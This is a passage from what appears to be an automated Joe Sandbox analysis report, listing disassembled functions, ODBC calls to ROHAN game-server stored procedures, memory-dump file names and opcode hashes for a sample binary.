                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN2_AddNGuildMoney](?,?) }
                                                                                                                            • API String ID: 0-1519001438
                                                                                                                            • Opcode ID: e15065ab8d65a5b211f975ced9df14c7f4e181cb1d5dd0dc7e2f6f4dd00d825e
                                                                                                                            • Instruction ID: 853fbcca4934ac644ad96f38d600bdd3dbf4bb9086d592ac4f07d20a03bb1281
                                                                                                                            • Opcode Fuzzy Hash: e15065ab8d65a5b211f975ced9df14c7f4e181cb1d5dd0dc7e2f6f4dd00d825e
                                                                                                                            • Instruction Fuzzy Hash: B12136B5645318ABEB25CF44CC62F997378EB84B14F208289F7546F2C1D6B56F808F58
                                                                                                                            Function 004282F2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN2_AddGuildPoint](?,?) } ,000000FD), ref: 0042831B
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042835A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042838F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004283C7
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN2_AddGuildPoint](?,?) } , xrefs: 00428312
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN2_AddGuildPoint](?,?) }
                                                                                                                            • API String ID: 0-49476596
                                                                                                                            • Opcode ID: 0d8a336e45d7f3ff4bff380a14a5159633bdff6bb5195cccb1767161cdb5c3f4
                                                                                                                            • Instruction ID: 9b20bdab95f3f81e3f5bfa499e7535c1a53796ee98fea5f8b6b642512667e2f6
                                                                                                                            • Opcode Fuzzy Hash: 0d8a336e45d7f3ff4bff380a14a5159633bdff6bb5195cccb1767161cdb5c3f4
                                                                                                                            • Instruction Fuzzy Hash: CF21C2B164031CABEB65CF54CC52FDA7378EB48B14F208289F7146A2C5D6B56B818B9C
                                                                                                                            Function 00427362 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_ChangeMode](?,?) } ,000000FD), ref: 0042738B
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004273CA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004273FF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00427437
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_ChangeMode](?,?) } , xrefs: 00427382
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_ChangeMode](?,?) }
                                                                                                                            • API String ID: 0-3877255641
                                                                                                                            • Opcode ID: 384ab20f0546fc2233f925070bee1d2decaf677e5229bc83f648ca4c3dad5d73
                                                                                                                            • Instruction ID: 49730e53cb3e955e55c61bd011f646299086e565a87bd92b7896c3a12efa04d4
                                                                                                                            • Opcode Fuzzy Hash: 384ab20f0546fc2233f925070bee1d2decaf677e5229bc83f648ca4c3dad5d73
                                                                                                                            • Instruction Fuzzy Hash: 842124B0641215BBEB20DF94DC56F9A7374EB48724F208389F6146A2D0D6B5ED808F58
                                                                                                                            Function 0042533D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelNGuildPostBox] (?,?) } ,000000FD), ref: 00425366
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004253A5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004253DA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00425412
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelNGuildPostBox] (?,?) } , xrefs: 0042535D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelNGuildPostBox] (?,?) }
                                                                                                                            • API String ID: 0-3373684646
                                                                                                                            • Opcode ID: 3aba0d378f737d1586e7c1f910a23a1849eb5a3ae8cc14868435a96fe93d128d
                                                                                                                            • Instruction ID: e532eb0afef290248b5d0c220d3ebe591063f20c77320489a423499d04b9451f
                                                                                                                            • Opcode Fuzzy Hash: 3aba0d378f737d1586e7c1f910a23a1849eb5a3ae8cc14868435a96fe93d128d
                                                                                                                            • Instruction Fuzzy Hash: BE21C1B1A44218ABEB64CF54CC52FDD7375EB84718F208289F71C6E2D4D6B56D808F58
                                                                                                                            Function 004283D1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_AddNGuildPoint](?,?) } ,000000FD), ref: 004283FA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00428439
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042846E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004284A6
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_AddNGuildPoint](?,?) } , xrefs: 004283F1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_AddNGuildPoint](?,?) }
                                                                                                                            • API String ID: 0-2183664347
                                                                                                                            • Opcode ID: 174f64f61ad1d72084ea93381f721c849d0c156338026bd22a9d44eb6d8af3e7
                                                                                                                            • Instruction ID: 55ca30c0acf8b71f78a8aba053163fda37d8873aebe58dbffd643cc6414e14da
                                                                                                                            • Opcode Fuzzy Hash: 174f64f61ad1d72084ea93381f721c849d0c156338026bd22a9d44eb6d8af3e7
                                                                                                                            • Instruction Fuzzy Hash: DE2106B0A41314ABEB65CF54CC52F997378EB48B24F604189F7146F2C4D6B5AE808F5C
                                                                                                                            Function 004284B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_AddGuildWarRecord](?,?) } ,000000FD), ref: 004284D9
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00428518
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042854D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00428585
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_AddGuildWarRecord](?,?) } , xrefs: 004284D0
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_AddGuildWarRecord](?,?) }
                                                                                                                            • API String ID: 0-2730228661
                                                                                                                            • Opcode ID: 483482a6c4d0350518f3f930d0d105495dad4d13fd6e6d690810b8d5f6db64ba
                                                                                                                            • Instruction ID: 610230418bf715ce206ba5f868ebbf1526382c25672b55a0e872bc96a8bbe710
                                                                                                                            • Opcode Fuzzy Hash: 483482a6c4d0350518f3f930d0d105495dad4d13fd6e6d690810b8d5f6db64ba
                                                                                                                            • Instruction Fuzzy Hash: 3A21E2B1640314ABEB25DF44CC92F997378EB44B14F208289F7186E2C4D6B56B80CB58
                                                                                                                            Function 0043254B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_AddFriend] (?,?)},000000FD), ref: 00432574
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004325B3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004325E8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00432620
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_AddFriend] (?,?)}, xrefs: 0043256B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_AddFriend] (?,?)}
                                                                                                                            • API String ID: 0-85479648
                                                                                                                            • Opcode ID: 3411ee5c6095c67c4c9f3f79f8f1ba2b5ff74a24b646adedd602e5e7fa35d676
                                                                                                                            • Instruction ID: 5a1cbccc0f4c14240a2c55208cd143057dabce7fbfe967b2c795bd0e211eee18
                                                                                                                            • Opcode Fuzzy Hash: 3411ee5c6095c67c4c9f3f79f8f1ba2b5ff74a24b646adedd602e5e7fa35d676
